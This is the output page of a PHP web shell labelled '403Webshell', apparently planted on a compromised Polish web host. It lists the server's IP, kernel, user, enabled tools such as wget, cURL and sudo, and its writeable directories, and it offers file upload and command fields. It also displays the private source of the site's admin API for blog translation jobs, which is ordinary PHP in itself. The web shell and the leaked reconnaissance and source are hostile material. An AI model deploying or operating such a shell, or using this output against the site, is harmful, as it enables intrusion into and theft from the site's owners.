403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v13-api.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_v13_blog.php';
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store, private');
header('X-Content-Type-Options: nosniff');
if(($_SERVER['REQUEST_METHOD']??'')!=='POST'){http_response_code(405);echo json_encode(['ok'=>false,'error'=>'POST only']);exit;}
verify_csrf();
if(session_status()===PHP_SESSION_ACTIVE)session_write_close();
try{
  $action=(string)($_POST['action']??'');
  if($action==='scan'){
    $result=p13_blog_scan((int)($_POST['offset']??0),20);
  }elseif($action==='translate'){
    $result=p13_blog_work();
  }elseif($action==='status'){
    $result=['status'=>'OK'];
  }elseif($action==='approve'){
    $ids=$_POST['ids']??[];
    if(!is_array($ids))throw new RuntimeException('Nieprawidłowa lista');
    $result=p13_blog_approve($ids);
  }elseif($action==='approve_ready'){
    $lang=(string)($_POST['lang']??'all');
    if(!in_array($lang,['all','en','de','es'],true))throw new RuntimeException('Język spoza listy');
    $sql="SELECT id FROM tklm_v9_jobs WHERE entity='blog_posts' AND status='review'";
    $params=[];
    if($lang!=='all'){$sql.=' AND lang=?';$params[]=$lang;}
    $sql.=' ORDER BY id LIMIT 75';
    $q=db()->prepare($sql);$q->execute($params);
    $result=p13_blog_approve($q->fetchAll(PDO::FETCH_COLUMN));
  }elseif($action==='edit'){
    $id=(int)($_POST['id']??0);$value=trim((string)($_POST['text']??''));
    if($id<=0||$value===''||mb_strlen($value,'UTF-8')>45000)throw new RuntimeException('Tekst nieprawidłowy');
    $q=db()->prepare("SELECT field FROM tklm_v9_jobs WHERE id=? AND entity='blog_posts' AND status='review'");
    $q->execute([$id]);$field=$q->fetchColumn();
    if(!$field)throw new RuntimeException('Ten tekst nie jest już do zatwierdzenia');
    if($field==='title'&&mb_strlen($value,'UTF-8')>255)throw new RuntimeException('Tytuł za długi');
    $q=db()->prepare("UPDATE tklm_v9_jobs SET translated_text=? WHERE id=? AND entity='blog_posts' AND status='review'");
    $q->execute([$value,$id]);$result=['saved'=>$q->rowCount()];
  }elseif($action==='retry'){
    $id=(int)($_POST['id']??0);
    $q=db()->prepare("UPDATE tklm_v9_jobs SET status='pending',attempts=0,last_error=NULL WHERE id=? AND entity='blog_posts' AND status IN ('pending','review')");
    $q->execute([$id]);$result=['retry'=>$q->rowCount()];
  }else{http_response_code(400);throw new RuntimeException('Nieznana akcja');}
  echo json_encode(['ok'=>true,'result'=>$result,'stats'=>p13_blog_stats()],JSON_UNESCAPED_UNICODE|JSON_INVALID_UTF8_SUBSTITUTE);
}catch(Throwable $e){
  error_log('POLANA V13 API: '.$e->getMessage());
  http_response_code(500);
  echo json_encode(['ok'=>false,'error'=>'Nie udało się wykonać operacji. Szczegóły w logach PHP.'],JSON_UNESCAPED_UNICODE);
}

Youez - 2016 - github.com/yon3zu
LinuXploit